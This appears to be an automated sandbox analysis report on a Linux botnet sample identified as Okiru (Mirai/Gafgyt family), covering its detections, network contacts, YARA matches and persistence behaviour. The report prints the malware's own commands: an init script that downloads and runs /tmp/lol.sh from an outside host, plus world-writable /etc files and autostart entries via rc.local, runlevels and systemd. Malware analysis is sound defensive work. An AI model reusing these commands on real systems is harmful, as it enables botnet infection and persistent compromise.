Linux Analysis Report
sample.bin

Overview

General Information

Sample name: sample.bin
Analysis ID: 1541378
MD5: 1394937a79d6f023e8abfd09ee3deb1a
SHA1: 3b1f06041c6fbdf1ba334b518f4a13e3ace3560f
SHA256: 42845557a515bc05c290b3ab9d1ad291303691d472db9e09863bfc782b803ed2
Infos:

Detection

Okiru
Score: 96
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Machine Learning detection for sample
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Writes shell script file to disk with an unusual file extension
Yara signature match

Classification

AV Detection

barindex
Source: sample.bin Avira: detected
Source: sample.bin ReversingLabs: Detection: 66%
Source: sample.bin Joe Sandbox ML: detected
Source: sample.bin String: Found And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_11047815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnetbashhttpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/null 2>&1which lldb > /dev/null 2>&1which dtrace > /dev/null 2>&1which truss > /dev/null 2>&1which ptrace > /dev/null 2>&1LD_PRELOADLD_LIBRARY_PATHLD_AUDIT/procw/etc/motd%s

Networking

barindex
Source: global traffic TCP traffic: 91.92.246.113 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 93.123.85.166 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 154.216.17.220 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 192.168.2.23:56036 -> 45.202.35.64:199
Source: global traffic TCP traffic: 192.168.2.23:44500 -> 154.216.17.220:38241
Source: global traffic TCP traffic: 192.168.2.23:60952 -> 91.92.246.113:38241
Source: global traffic TCP traffic: 192.168.2.23:56866 -> 93.123.85.166:38241
Source: /tmp/sample.bin (PID: 6234) Socket: 0.0.0.0:38241 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: sample.bin, 6234.1.00007ffd9202b000.00007ffd9204c000.rw-.sdmp, profile.12.dr, inittab.12.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr, sample.bin.34.dr String found in binary or memory: http://pen.gorillafirewall.su/
Source: sample.bin, 6234.1.00007ffd9202b000.00007ffd9204c000.rw-.sdmp String found in binary or memory: http://pen.gorillafirewall.su/lol.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

barindex
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: Found And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_11047815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnetbashhttpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/nu
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/sample.bin (PID: 6235) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/sample.bin (PID: 6235) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/sample.bin (PID: 6235) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/sample.bin (PID: 6235) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/sample.bin (PID: 6235) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/sample.bin (PID: 6235) SIGKILL sent: pid: 6238, result: successful Jump to behavior
Source: /tmp/sample.bin (PID: 6235) SIGKILL sent: pid: 6244, result: successful Jump to behavior
Source: /tmp/sample.bin (PID: 6235) SIGKILL sent: pid: 6269, result: successful Jump to behavior
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: sample.bin, type: SAMPLE Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: classification engine Classification label: mal96.spre.troj.evad.linBIN@0/9@0/0

Persistence and Installation Behavior

barindex
Source: /tmp/sample.bin (PID: 6234) File: /etc/profile Jump to behavior
Source: /tmp/sample.bin (PID: 6234) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6259) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 6266) File: /etc/rc.d/S99sample.bin -> /etc/init.d/sample.bin Jump to behavior
Source: /tmp/sample.bin (PID: 6234) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6257) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6262) File: /etc/init.d/sample.bin (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/sample.bin (PID: 6236) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/sample.bin (PID: 6254) Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/sample.bin (PID: 6258) Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/sample.bin (PID: 6260) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sample.bin\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sample.bin'\n /tmp/sample.bin &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sample.bin'\n killall sample.bin\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sample.bin" Jump to behavior
Source: /tmp/sample.bin (PID: 6261) Shell command executed: sh -c "chmod +x /etc/init.d/sample.bin >/dev/null 2>&1" Jump to behavior
Source: /tmp/sample.bin (PID: 6263) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/sample.bin (PID: 6265) Shell command executed: sh -c "ln -s /etc/init.d/sample.bin /etc/rc.d/S99sample.bin >/dev/null 2>&1" Jump to behavior
Source: /bin/sh (PID: 6257) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 6262) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sample.bin Jump to behavior
Source: /bin/sh (PID: 6264) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Source: /bin/sh (PID: 6237) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Source: /tmp/sample.bin (PID: 6234) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6257) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6262) File: /etc/init.d/sample.bin (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/sample.bin (PID: 6234) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/sample.bin (PID: 6234) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6260) Writes shell script file to disk with an unusual file extension: /etc/init.d/sample.bin Jump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/sample.bin (PID: 6234) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 6260) File: /etc/init.d/sample.bin Jump to dropped file

Stealing of Sensitive Information

barindex
Source: Yara match File source: sample.bin, type: SAMPLE
Source: Yara match File source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sample.bin PID: 6234, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: sample.bin, type: SAMPLE
Source: Yara match File source: 6234.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sample.bin PID: 6234, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs